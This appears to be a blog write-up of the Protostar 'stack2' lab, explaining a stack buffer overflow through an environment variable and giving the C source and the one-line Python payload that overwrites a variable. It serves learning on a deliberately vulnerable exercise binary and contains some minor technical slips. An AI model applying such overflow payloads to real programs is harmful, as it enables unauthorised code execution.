Buffer Overflow via Environment Variables
Hello exploiters, welcome back to my blog-post about binary exploitation. Today, i am going to be writing a blog about buffer-overflow attack through manipulation of environment variables.
If you are ready to learn this technique, let met get started to write this episode!
First of all, let me introduce what this attack occurs when its being manipulated.
When threat attackers modify an environment variable, they may try to overflow associated buffers. This attack leverages implicit trust often placed in environment variables.
In order to successfully manipulate this attack, there are several methods to be done:
- That they can modify an environment variable, they may try to overflow associated buffers. This attack leverages implicit trust often placed in environment variables.
- The environment variable exposed to the user is vulnerable to a buffer overflow.
- The vulnerable environment variable uses untrusted data
- Tainted data used in the environment variables is not properly validated. For instance boundary checking is not done before copying the input data to a buffer.
The attacker performs the following steps:
- The attacker tries to find an environment variable which can be overwritten, by gathering information about the target host (error pages, software’s version number, hostname, etc.).
- The attacker manipulates the environment variable to contain excessive-length content to cause a buffer overflow.
- The attacker leverages the buffer overflow to inject maliciously crafted code in an attempt to execute privileged command on the target environment.
You can get more information on OWASP-buffer
If you understood how this buffer-overflow occurs, let me get started to illustrate this in the practical manner.
Analyze the source code
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>
int main(int argc, char **argv)
{
volatile int modified;
char buffer[64];
char *variable;
variable = getenv("GREENIE");
if(variable == NULL) {
errx(1, "please set the GREENIE environment variable\n");
}
modified = 0;
strcpy(buffer, variable);
if(modified == 0x0d0a0d0a) {
printf("you have correctly modified the variable\n");
} else {
printf("Try again, you got 0x%08x\n", modified);
}
}
Let me overview this source code how we can manipulate its. The first step, when i overview the source code, i can see that variable
is declared. Moreover, GREENIE
should be
used in the environment variable to perform the attack. The application checks the value of the environment variable GREENIE and stores it. It is done by calling the getenv(3)
library function in GNU/Linux.
We know when it stores the data that variable will not be NULL nevertheless.
What do we know about strcpy()
function ?
let me briefly explain about this function:
The strcpy()
is a library function available in the string library in C and is used to copy the content of one string to another. The strcpy()
function doesn’t create a string, it only copies a string.
Exploit the stack
The goal is to exploit the stack however, we need to find a way to be able to exploit the stack. First of all, we already have seen the source code thus it will be easy for us to be distorted.
root@protostar:/opt/protostar/bin# ./stack2
stack2: please set the GREENIE environment variable
As you can see it requires to set the GREENIE
environment. Let me do this step.
root@protostar:/opt/protostar/bin# ./stack2
Try again, you got 0x00000000
This output, is the output of:
if(modified == 0x0d0a0d0a) {
printf("you have correctly modified the variable\n");
} else {
printf("Try again, you got 0x%08x\n", modified); <--------
}
char buffer[64];
If we add more than 64 characters into the stack + the memory address which allows to be accessed, then we will reach our goal. In order to manipulate the stack we can do as follows:
- Set the
GREENIE
to the environment
- It allows us to add max 64 chars, but we ought to add more characters to be distorbed.
- We know that we are working on PE32(Little Endian)
root@protostar:/opt/protostar/bin# export GREENIE=$(python -c 'print "A"*64 + "\x0a\x0d\x0a\x0d"')
root@protostar:/opt/protostar/bin# ./stack2
you have correctly modified the variable
I have set $()
, but what does this mean ?
The syntax is token-level, so the meaning of the dollar sign depends on the token it’s in. The expression $(command) is a modern synonym for command
which stands for command substitution;
it means run command and put its output here. So
echo "Today is $(date). A fine day."
will run the date
command and include its output in the argument to echo. The parentheses are unrelated to the syntax for running a command in a subshell,
although they have something in common (the command substitution also runs in a separate subshell).
By contrast, ${variable}
is just a disambiguation mechanism, so you can say ${var}
text when you mean the contents of the variable var,
followed by text (as opposed to $vartext which means the contents of the variable vartext).
This technique will be very useful and handy, thus take this in your pocket!
Summary
I tried to explain about buffer-overflow on environment variable. I hope you understood well. If you have still doubts or issues, you can always contact me on social media.
More CTF challenges, write-ups will be shared. I am not a professional nor an expert; I am just a geek :}
Ahmet Göker | Reverse Engineer | Binary-Exploitation